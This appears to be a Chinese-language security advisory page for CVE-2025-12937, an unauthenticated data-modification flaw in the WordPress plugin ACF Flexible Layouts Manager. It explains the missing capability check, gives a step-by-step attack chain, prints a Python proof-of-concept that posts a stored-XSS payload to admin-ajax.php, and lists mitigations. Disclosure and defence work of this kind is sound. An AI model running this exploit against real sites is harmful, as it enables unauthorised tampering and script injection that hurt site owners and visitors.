IPBUF安全漏洞报告
English
CVE-2025-12937 CVSS 6.5 中危

CVE-2025-12937 WordPress ACF Flexible Layouts Manager 未授权数据修改漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-12937
漏洞类型
缺少功能级访问控制
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ACF Flexible Layouts Manager plugin for WordPress

相关标签

CVE-2025-12937WordPress插件漏洞缺少权限检查未授权访问数据篡改ACF Flexible Layouts ManagerIDOR访问控制绕过存储型数据修改

漏洞概述

ACF Flexible Layouts Manager是WordPress平台上一个用于管理ACF(Advanced Custom Fields)灵活布局的插件。该插件在1.1.6及之前的所有版本中存在严重的安全漏洞,具体表现为缺少对'acf_flm_update_template_with_pasted_layout'函数的权限检查。攻击者无需任何认证凭证即可利用此漏洞,远程修改任意文章和页面的自定义字段值。该漏洞的CVSS评分为6.5,属于中等严重程度,攻击复杂度低,无需用户交互。由于该漏洞允许未授权攻击者修改网站内容,可能导致数据篡改、恶意内容注入等安全问题,对网站的完整性和可用性造成潜在威胁。Wordfence安全团队于2025年11月18日披露了此漏洞,建议用户立即采取修复措施。

技术细节

该漏洞属于OWASP Top 10中的'A01:2021 - Broken Access Control'类别。漏洞根源在于WordPress插件的AJAX处理函数缺少权限验证机制。具体来说,'acf_flm_update_template_with_pasted_layout'函数在处理粘贴布局请求时,没有调用current_user_can()或类似的能力检查函数来验证请求者是否具有修改文章内容的权限。攻击者可以通过构造恶意HTTP POST请求,直接调用wp-admin/admin-ajax.php端点,传入特制的参数(包括目标文章ID和任意自定义字段数据)来触发该函数。由于WordPress的AJAX处理器默认允许未登录用户访问带'wp_ajax_nopriv_'前缀的动作,攻击者可以在完全匿名的情况下执行任意文章的自定义字段更新操作。这种未授权访问可能导致文章内容被篡改、SEO内容被恶意修改或存储型XSS payload的注入。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和ACF Flexible Layouts Manager插件版本,确认版本 <= 1.1.6
STEP 2
步骤2: 构建恶意请求
攻击者构造HTTP POST请求到wp-admin/admin-ajax.php端点,设置action参数为'acf_flm_update_template_with_pasted_layout'
STEP 3
步骤3: 注入恶意数据
在请求中指定目标文章ID和包含恶意内容的自定义字段数据,如XSS payload或篡改内容
STEP 4
步骤4: 绕过认证检查
由于函数缺少current_user_can()验证,攻击者以匿名用户身份发送请求即可通过权限检查
STEP 5
步骤5: 执行数据修改
服务器端函数执行update_post_meta(),将恶意数据写入目标文章的数据库记录中
STEP 6
步骤6: 触发恶意效果
当其他用户访问被篡改的文章页面时,注入的JavaScript代码被执行或内容被篡改显示

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12937 PoC - Unauthenticated Data Modification # Target: WordPress with ACF Flexible Layouts Manager <= 1.1.6 target_url = "http://target-wordpress-site.com" ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Target post/page ID to modify target_post_id = 1 # Malicious custom field data to inject malicious_data = { "acf_flexible_layout": [ { "layout_key": "text_block", "content": "<script>alert('XSS')</script>" } ] } # Construct the exploit request exploit_payload = { "action": "acf_flm_update_template_with_pasted_layout", "post_id": target_post_id, "layout_data": json.dumps(malicious_data), "security_token": "" # No security token required due to missing capability check } print("[*] Sending exploit request...") print(f"[*] Target: {ajax_endpoint}") print(f"[*] Post ID: {target_post_id}") response = requests.post(ajax_endpoint, data=exploit_payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: print("[+] Exploit sent successfully - Custom field may be modified") else: print("[-] Exploit failed")

影响范围

ACF Flexible Layouts Manager <= 1.1.6 (所有版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用ACF Flexible Layouts Manager插件;2) 通过.htaccess或Nginx配置阻止对wp-admin/admin-ajax.php的未认证访问;3) 使用WordPress安全插件限制AJAX请求来源;4) 启用双因素认证增强管理员账户安全;5) 定期审计所有插件的AJAX处理函数是否包含权限验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表